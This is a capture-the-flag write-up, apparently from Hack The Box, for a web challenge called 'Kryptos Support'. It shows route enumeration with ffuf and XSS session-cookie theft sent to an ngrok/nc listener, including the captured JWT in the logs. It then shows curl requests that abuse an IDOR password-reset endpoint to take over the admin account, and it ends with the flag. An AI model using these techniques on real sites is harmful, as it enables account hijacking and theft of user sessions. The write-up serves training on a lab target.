Kryptos Support
7 minutes to read
We are provided with this webpage:
It allows us to send messages that will be reviewed by an administrator:
Enumeration
Since we don’t have any source code, let’s start using ffuf
to enumerate some routes:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://188.166.146.25:32282/FUZZ
[Status: 200, Size: 2352, Words: 1056, Lines: 53, Duration: 46ms]
* FUZZ: login
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 37ms]
* FUZZ: admin
[Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 39ms]
* FUZZ: static
[Status: 200, Size: 2352, Words: 1056, Lines: 53, Duration: 41ms]
* FUZZ: Login
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 37ms]
* FUZZ: logout
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 36ms]
* FUZZ: settings
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 39ms]
* FUZZ: tickets
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 68ms]
* FUZZ: Admin
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 39ms]
* FUZZ: Logout
[Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 39ms]
* FUZZ: Static
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 62ms]
* FUZZ: Tickets
[Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 36ms]
* FUZZ: SETTINGS
[Status: 200, Size: 2067, Words: 934, Lines: 54, Duration: 39ms]
* FUZZ:
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 41ms]
* FUZZ: %C0
[Status: 200, Size: 2352, Words: 1056, Lines: 53, Duration: 41ms]
* FUZZ: LogIn
[Status: 200, Size: 2352, Words: 1056, Lines: 53, Duration: 42ms]
* FUZZ: LOGIN
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 39ms]
* FUZZ: %CF
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 40ms]
* FUZZ: %CD
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 40ms]
* FUZZ: %CE
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 41ms]
* FUZZ: %D8
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 41ms]
* FUZZ: %CC
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 42ms]
* FUZZ: %CB
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 42ms]
* FUZZ: %CA
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 42ms]
* FUZZ: %D0
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 38ms]
* FUZZ: %D1
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 36ms]
* FUZZ: %D7
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 41ms]
* FUZZ: %D6
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 44ms]
* FUZZ: %D5
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 44ms]
* FUZZ: %D4
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 37ms]
* FUZZ: %C2
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 42ms]
* FUZZ: %C8
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 44ms]
* FUZZ: %C9
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 44ms]
* FUZZ: %C1
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 48ms]
* FUZZ: %D2
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 48ms]
* FUZZ: %D3
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 39ms]
* FUZZ: %C6
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 40ms]
* FUZZ: %C7
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 38ms]
* FUZZ: %C4
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 41ms]
* FUZZ: %C5
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 40ms]
* FUZZ: %C3
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 40ms]
* FUZZ: %D9
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 39ms]
* FUZZ: %DD
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 40ms]
* FUZZ: %DE
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 42ms]
* FUZZ: %DF
[Status: 500, Size: 35, Words: 3, Lines: 1, Duration: 40ms]
* FUZZ: %DB
We see that we have a login page (actually, there is a “BACKEND” link that points to /login
, so fuzzing is not strictly needed):
But we don’t have any valid credentials. Moreover, there is no register page. Perhaps we could try using weak credentials (admin:admin
, user:password
…), but none of them work.
The rest of the pages enumerated by ffuf
apply a redirection, so we must be authenticated to access those pages.
Finding XSS
Focusing on the first functionality of the website, we can send messages that will be reviewed by some user (or bot). Maybe, the user opens the message in the browser, so we can try to inject some HTML code and see if it is rendered. For instance, we can enter an img
tag with the source attribute poiting to our server.
HTML injection
To expose a local HTTP server, we can use ngrok
:
$ ngrok http 80
ngrok
Join us in the ngrok community @ https://ngrok.com/slack
Session Status online
Account Rocky (Plan: Free)
Version 3.1.1
Region United States (us)
Latency 121ms
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok.io -> http://localhost:80
Connections ttl opn rt1 rt5 p50 p90
1 0 0.01 0.00 3.38 3.38
Now, we open a nc
listener on port 80:
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Then, we send this HTML code as the message:
And we get a hit:
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from ::1.
Ncat: Connection from ::1:61030.
GET /img HTTP/1.1
Host: abcd-12-34-56-78.ngrok.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/101.0.4950.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:1337/
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform:
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
X-Forwarded-For: 188.166.146.25
X-Forwarded-Proto: https
Therefore, the HTML code was interpreted by the browser (it was not treated as plain text).
Cookie hijacking
At this point, we can trigger Cross-Site Scripting (XSS), that is, use JavaScript code that will be executed on the user’s browser. For instance, we can try to get their session cookie. A simple payload is this one:
And indeed, we have the cookie:
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from ::1.
Ncat: Connection from ::1:61135.
GET /session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NzU4NTMyODl9.WxkaQ_VYa8mZodQ_0TSX0HUbUSr2sT27wFVZYOTNm2U HTTP/1.1
Host: abcd-12-34-56-78.ngrok.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/101.0.4950.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Origin: http://127.0.0.1:1337
Referer: http://127.0.0.1:1337/
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform:
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
X-Forwarded-For: 188.166.146.25
X-Forwarded-Proto: https
This cookie is a JWT token. The information that holds this token is in the middle part, Base64-encoded. It looks like the user/bot is called moderator
:
$ echo eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NzU4NTMyODl9 |
base64 -d | jq
{
"username": "moderator",
"uid": 100,
"iat": 1675853289
}
Alright, if we set this cookie in the browser and refresh, we will be logged in as moderator
:
If we try going to /admin
we are redirected to /tickets
. Hence, we must somehow log in as admin
.
Compromising admin
There’s another page at /settings
:
Here we can update our password. This looks promising:
Notice that the underlying HTTP request sent the new password and the user identifier (uid
). If the server is vulnerable, we might be able to change other user’s password, without knowing their current one (IDOR, Insecure Direct Object Reference).
Let’s switch to curl
(we can copy the request as curl
in Firefox):
$ curl 188.166.146.25:32282/api/users/update -d '{"password":"asdf","uid":"100"}' -H 'Content-Type: application/json' -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NzU4NTMyODl9.WxkaQ_VYa8mZodQ_0TSX0HUbUSr2sT27wFVZYOTNm2U'
{"message":"Password for moderator changed successfully!"}
Perfect, it works. Let’s see if there’s a user with uid
equal to 0
(probably admin
):
$ curl 188.166.146.25:32282/api/users/update -d '{"password":"asdf","uid":"0"}' -H 'Content-Type: application/json' -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NzU4NTMyODl9.WxkaQ_VYa8mZodQ_0TSX0HUbUSr2sT27wFVZYOTNm2U'
{"message":"The user doesn't exist!"}
No… uid
equal to 1
?
$ curl 188.166.146.25:32282/api/users/update -d '{"password":"asdf","uid":"1"}' -H 'Content-Type: application/json' -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NzU4NTMyODl9.WxkaQ_VYa8mZodQ_0TSX0HUbUSr2sT27wFVZYOTNm2U'
{"message":"Password for admin changed successfully!"}
Yes! Now we should be able to log in as admin
with password asdf
:
Flag
There it is, we have the flag (HTB{p0pp1ng_x55_4nd_id0rs_ftw!}
):